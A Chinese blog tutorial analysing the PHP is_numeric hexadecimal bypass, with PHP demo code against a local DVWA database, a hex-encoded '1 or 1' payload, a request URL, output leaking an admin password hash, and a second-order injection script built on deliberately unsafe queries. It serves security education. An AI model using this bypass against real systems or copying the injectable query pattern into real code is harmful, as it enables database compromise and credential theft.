2014年,PHP中is_numeric函数十六进制绕过漏洞引发了一次安全问题

接下来,我们来分析一下这个漏洞的原理

函数介绍:

is_numeric — 检测变量是否为数字或数字字符串。

函数原型:

bool is_numeric ( mixed $var )

如果 var 是数字或数字字符串则返回 TRUE,否则返回 FALSE。

举例说明:

例程1:

<?php

$v = is_numeric ('58635272821786587286382824657568871098287278276543219876543') ? true : false;

var_dump ($v);

?>

运行输出:bool(true)

说明:这个参数是数字或数字字符串

变换参数继续测试

如果参数是:0xFFFF,运行结果又会怎样呢?

<?php

$v = is_numeric ('0xFFFF') ? true : false;

var_dump ($v);

?>

输出结果:bool(true)

说明他已经把0x这种十六进制的数忽略了,或者转换成了其他进制的数(注:其他进制的数都是数字或数字字符串,唯有十六进制有个x不是数字,八进制的表示是以0开始的,而非o),不信的话可以自己算算:

所以,这个地方,is_numeric函数的参数是十六进制的,也可以完美执行。

在渗透测试的时候,如果我们提交:1 or 1作为该函数参数的一部分,那么这个函数肯定是不会接受的,为什么,因为他不是数字或数字字符串,就这么简单,如果,我们将1 or 1转换成十六进制呢?

1 or 1 对应的十六进制数为:0x31206f722031

怎么转换来的,可以百度下:ASCII码表

1:0x31

:0x20

o:0x6f

r:0x72

合理连接起来不就是0x31206f722031了吗

在这里,推荐小葵写的一个编码与解码的小工具:

在此,我们可以测试一下,看0x31206f722031是不是数字或数字字符串

<?php

$v = is_numeric ('0x31206f722031') ? true : false;

var_dump ($v);

?>

输出结果:bool(true)

说明:0x31206f722031是数字或数字字符串。

那又怎样,此时,我们就可以通过这个函数实现SQL注入了

注入测试代码1:

<?php

$conn = mysql_connect('127.0.0.1','root','root');

mysql_select_db('dvwa',$conn);

$user = addslashes($_GET['user']);

$flag = is_numeric ($user) ? true : false;

if($flag)

{

$sql = "SELECT user_id,user,password FROM users WHERE user=$user";

$res = mysql_query($sql);

if($res)

{

while($row = mysql_fetch_array($res))

{

var_dump($row);

}

}

else

{

echo '----------数据库没有符合此条件的用户记录----------';

echo '<br />';

}

}

else

{

var_dump ($flag);

}

?>

Firefox输入:http://localhost:81/is_numeric.php?user=0x61646D696E

0x61646D696E 对应的ASCII字符就是:admin

运行结果:

array(6) { [0]=> string(1) "1" ["user_id"]=> string(1) "1" [1]=> string(5) "admin" ["user"]=> string(5) "admin" [2]=> string(32) "5f4dcc3b5aa765d61d8327deb882cf99" ["password"]=> string(32) "5f4dcc3b5aa765d61d8327deb882cf99" }

这还不算啥,接下来,我们来看一下关于这个漏洞的二次注入

注入测试代码2(二次注入):

<?php

$conn = mysql_connect('127.0.0.1','root','root');

mysql_select_db('dvwa',$conn);

$user = addslashes($_GET['user']);

$flag = is_numeric ($user) ? true : false;

if($flag)

{

//保存最大user_id

$max_id;

//保存导出的playload

$playload;

//查出数据库中最大的user_id

$query_max_id = "select max(user_id) from users";

$res = mysql_query($query_max_id);

if($res)

{

$rows = mysql_fetch_array($res);

$max_id = $rows['user_id'];

//echo $max_id;

echo '----------max_id查询成功----------';

}

else

{

echo '----------max_id查询失败----------';

}

//更新最大user_id行的用户名

$gx = "update users set user=$user where user_id=$max_id";

$res = mysql_query($gx);

if($res)

{

echo '----------用户数据更新成功----------';

echo '----------插入十六进制成功----------';

}

else

{

echo '----------用户数据更新失败----------';

echo '----------插入十六进制未成功----------';

}

//导出插入的playload

$playload = "SELECT user FROM users WHERE user_id=$max_id";

$res = mysql_query($playload);

if($res)

{

$rows = mysql_fetch_array($res);

$playload = $rows['user'];

echo '----------playload成功导出----------';

}

else

{

echo '----------playload导出失败----------';

}

//将导出的playload拼接到select语句中执行

$play = "SELECT user_id,user,password FROM users WHERE user=$playload";

$res = mysql_query($play);

if($res)

{

$row = mysql_fetch_array($res);

var_dump($row);

echo '----------注入已成功----------';

}

else

{

echo '----------注入未成功----------';

}

}

else

{

echo '----------输入数据不是数字或者数字字符串----------';

}

?>

这段代码实现对max(user_id)行的用户名实现十六进制playload的写入,然后,通过select语句又将写入的十六进制playload查询出来,从而实现了二次注入。

is_numeric漏洞分析的更多相关文章

  1. YxCMS 1.4.7 最新版漏洞分析

    i春秋作家:F0rmat 原文来自:YxCMS 1.4.7 最新版漏洞分析 0x01前言 很感谢关注我专辑的表哥,我会坚持写下去的,最近会慢一点,一月四篇是正常的. 在先知看到的,大部分都是后台漏洞, ...

  2. 「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

    这几天有小伙伴留言给我们,想看一些关于后台的漏洞分析,今天i春秋选择YxCMS 1.4.7版本,理论内容结合实际案例进行深度分析,帮助大家提升挖洞技能. 注:篇幅较长,阅读用时约7分钟. YXcms是 ...

  3. Zabbix 漏洞分析

    之前看到Zabbix 出现SQL注入漏洞,自己来尝试分析. PS:我没找到3.0.3版本的 Zabbix ,暂用的是zabbix 2.2.0版本,如果有问题,请大牛指点. 0x00 Zabbix简介 ...

  4. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  5. CVE-2016-0143 漏洞分析(2016.4)

    CVE-2016-0143漏洞分析 0x00 背景 4月20日,Nils Sommer在exploitdb上爆出了一枚新的Windows内核漏洞PoC.该漏洞影响所有版本的Windows操作系统,攻击 ...

  6. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  7. CVE-2014-1767 漏洞分析(2015.1)

    CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...

  8. CVE-2014-4115漏洞分析(2014.11)

    CVE-2014-4115漏洞分析 一.简介 该漏洞是由于Windows的Fastfat.sys组件在处理FAT32格式的硬盘分区存在问题.攻击者利用成功可导致权限提升. 影响的系统包括: Windo ...

  9. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

随机推荐

  1. 修改 Analysis Service 服务器模式

    原网址:http://cathydumas.com/2012/04/23/changing-an-analysis-services-instance-to-tabular-mode/ Say you ...

  2. 李洪强iOS开发Swift篇—08_函数(2)

    李洪强iOS开发Swift篇—08_函数(2) 一.函数类型 函数类型也是数据类型的一种,它由形参类型和返回值类型组成,格式是 (形参类型列表) -> 返回值类型 1 func sum(num1 ...

  3. Maven 的安装配置

    Maven 的安装配置 一.在安装 Maven 之前,先确保JDK1.7及以上版本并且配置好环境变量. 二.下载maven的bin,在apache官方网站可以下载. 1.首先去官网下载 Maven:h ...

  4. org.springframework.web.bind.ServletRequestDataBinde

    org.springframework.validation Class DataBinder java.lang.Object org.springframework.validation.Data ...

  5. Linux守护进程daemon

      守护进程,也就是通常说的Daemon进程,是Linux中的后台服务进程.它是一个生存期较长的进程,通常独立于控制终端并且周期性地执行某种任务或等待处理某些发生的事件.守护进程常常在系统引导装入时启 ...

  6. 2.5.5 使用DatePickerDialog, TimePickerDialog

    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout ...

  7. USACO3.31Riding the Fences(输出欧拉路径)

    都忘了欧拉路径是什么了.. 用dfs搜 标记边  刚开始直接从I-N搜 直接超时 2了 先找符合起点和终点的点搜 即度数是奇数 d单dfs也超了 后来换了个姿势.. /* ID: shangca2 L ...

  8. 两款.net 下编辑器小结

    在asp.net 状态下,有两款不错的网页编辑器,分别是freetextbox和fckeditor,网上不少文章介绍之,现归纳之 1 freetextox      安装时引用freetexbox.d ...

  9. nohup.out

    nohup.out 文件的产生 linux的nohup命令的用法 不输出nohup.out nohup node app.js > /dev/null 2>&1 &

  10. cocos2d-x 添加自定义字体---中文,英文

    1: 找到字体   xxx.ttf 2: 在xcode工程的 Info.plist文件中添加key Fonts provided by application,   或者 UIAppFonts(raw ...